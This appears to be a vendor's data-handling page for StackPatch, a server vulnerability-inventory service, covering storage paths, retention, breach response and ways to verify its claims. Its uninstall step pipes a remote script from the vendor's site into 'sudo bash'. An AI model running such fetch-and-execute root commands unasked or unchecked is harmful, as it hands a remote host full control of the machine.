How StackPatch handles your data

Where the data lives

StackPatch runs on a single Hostinger VPS at 187.124.249.89, located in North America. All inventory + finding data is stored on the same host, on disk, owned by www-data with mode 644 / 600 as appropriate. No cloud database, no third-party telemetry vendor, no log aggregator. The full operational state lives under /var/lib/stackpatch/:

/var/lib/stackpatch/
├── inventory/<server_id>.json     ← latest inventory snapshot, replaced hourly
├── findings/<server_id>.jsonl     ← active CVE matches, append-only
├── customers/<customer_id>.json   ← Stripe session + email + plan
├── enrollments/<token>.json       ← per-customer install token, never logged
├── servers/<server_id>.json       ← per-server metadata (display name, audit slug)
├── alerts_sent/<server_id>.jsonl  ← email-alert dedup log
├── cves/{ubuntu_usn,nvd,debian_dsa}/ ← cached upstream feeds
└── events.jsonl                    ← anonymous funnel events, daily-rotating IP hash

Retention

• Inventory snapshots:latest one only — the agent overwrites it hourly, so “old” inventories don't accumulate.
• Findings: kept for the lifetime of your account so the audit URL can show resolution history.
• Funnel events: single events.jsonl file, IP hashed with a salt that rotates daily so cross-day correlation is not possible.
• Quickscan submissions: 5-minute server cache only, then dropped. We do not persist anonymous quickscan inputs.
• After cancellation: all your data is purged within 30 days. Email agents@mindsparkstack.com to delete immediately.

Uninstalling the agent

curl -fsSL https://mindsparkstack.com/install.sh | sudo bash -s -- --uninstall

Removes /usr/local/bin/stackpatch-inventory.sh, /etc/stackpatch/, and the cron entry. Server-side data persists per the retention rules above; email us for immediate deletion.

Breach response

We don't store secrets, source code, or customer data. The blast radius of a full StackPatch compromise is: an attacker learns your distro, kernel, and installed package names. That's information they could derive by scanning your server's open ports and reading the banner. The damage is recon, not breach.

That said: if we ever experience an incident, we'll email all customers within 72 hours per GDPR Article 33 timing, with a public postmortem at /changelog within 14 days. Our own security posture is publicly auditable.

How to verify our claims

• Read the agent script before piping: /install.sh and /scan.sh are served as plain text specifically so you can grep them for what they collect before running.
• Check our own audit: /patch/audit/mss-vps is the live posture of our production VPS. Same data shape your audit URL gets.
• Watch the matcher health: /status reads poller state files directly. Stale feeds are visible publicly.
• Inspect the data we collected from you: email us your audit slug; we'll send you the raw JSON we have on file.